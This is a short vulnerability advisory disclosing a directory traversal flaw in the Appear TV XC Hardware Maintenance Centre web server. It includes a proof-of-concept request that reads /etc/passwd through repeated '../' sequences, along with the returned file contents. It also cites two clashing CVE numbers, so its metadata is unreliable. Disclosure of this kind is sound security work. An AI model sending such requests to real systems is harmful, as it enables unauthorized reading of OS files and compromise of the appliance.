Appear TV XC Hardware Maintenance Centre Directory Traversal

Appear TV XC Hardware Maintenance Centre suffers from a directory traversal vulnerability.


MD5 | 1c1b1d52d1d18ad5702c3a09e4ccf1f4

CVE-2018-7539 Directory Traversal on Appear TV Maintenance centre 8088

Discoverer: Arqiva Threat Team

Person Karl W


Product: Appear TV XC Hardware Maintenance Centre on port TCP/8088



Vendor : Appear TV



Code Versions: All Version



Vulnerability: Directory Traversal



Impact: It is possible to read OS files with specially crafted URL



Attack Type: Remote



CVE: CVE-2017-12544



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Description

The web server (fuzzd/0.1.1) running the Maintenance Center on port TCP/8088 allows an attacker to use a specially crafted URL to read Operating System (OS) files.
This vulnerability was used in the full compromise of the appliance.

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Proof code:


Request:


GET /../../../../../../../../../../../../etc/passwd
Host: x.x.x.x:8088
User-Agent: curl/7.56.1

Accept: */*


Response:


HTTP/1.1 200 OK
Content-Length: 1110
Content-Type: text/plain; charset=utf-8
Cache-Control: max-age=3600
Server: fuzzd/0.1.1

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin



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[Reference]

https://www.appeartv.com/xc5000xc5100/



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vendor confirmed and acknowledged the vulnerability



Advised work around by disabling Maintenance Centre when not in use.

Advised not able to fix.



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Regards

Karl W


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